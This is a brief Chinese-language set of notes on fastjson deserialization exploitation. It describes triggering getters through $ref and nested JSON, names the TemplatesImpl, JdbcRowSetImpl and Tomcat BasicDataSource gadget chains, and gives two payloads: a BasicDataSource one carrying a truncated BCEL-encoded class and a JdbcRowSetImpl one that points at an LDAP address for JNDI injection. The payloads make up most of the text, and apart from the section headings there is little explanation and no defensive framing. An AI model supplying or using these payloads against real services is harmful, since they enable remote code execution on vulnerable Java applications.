fastjson反序列化

$ref 调用 getter

通过嵌套JSON方式调用getter

{
    {
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "x"
}

反序列化链：

TemplateImpl
JdbcRowSetImpl
Tomcat BasicDataSource

JdbcRowSetImpl链

payload:

"{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\": \"ldap://127.0.0.1:3890/test\", \"autoCommit\": \"true\" }";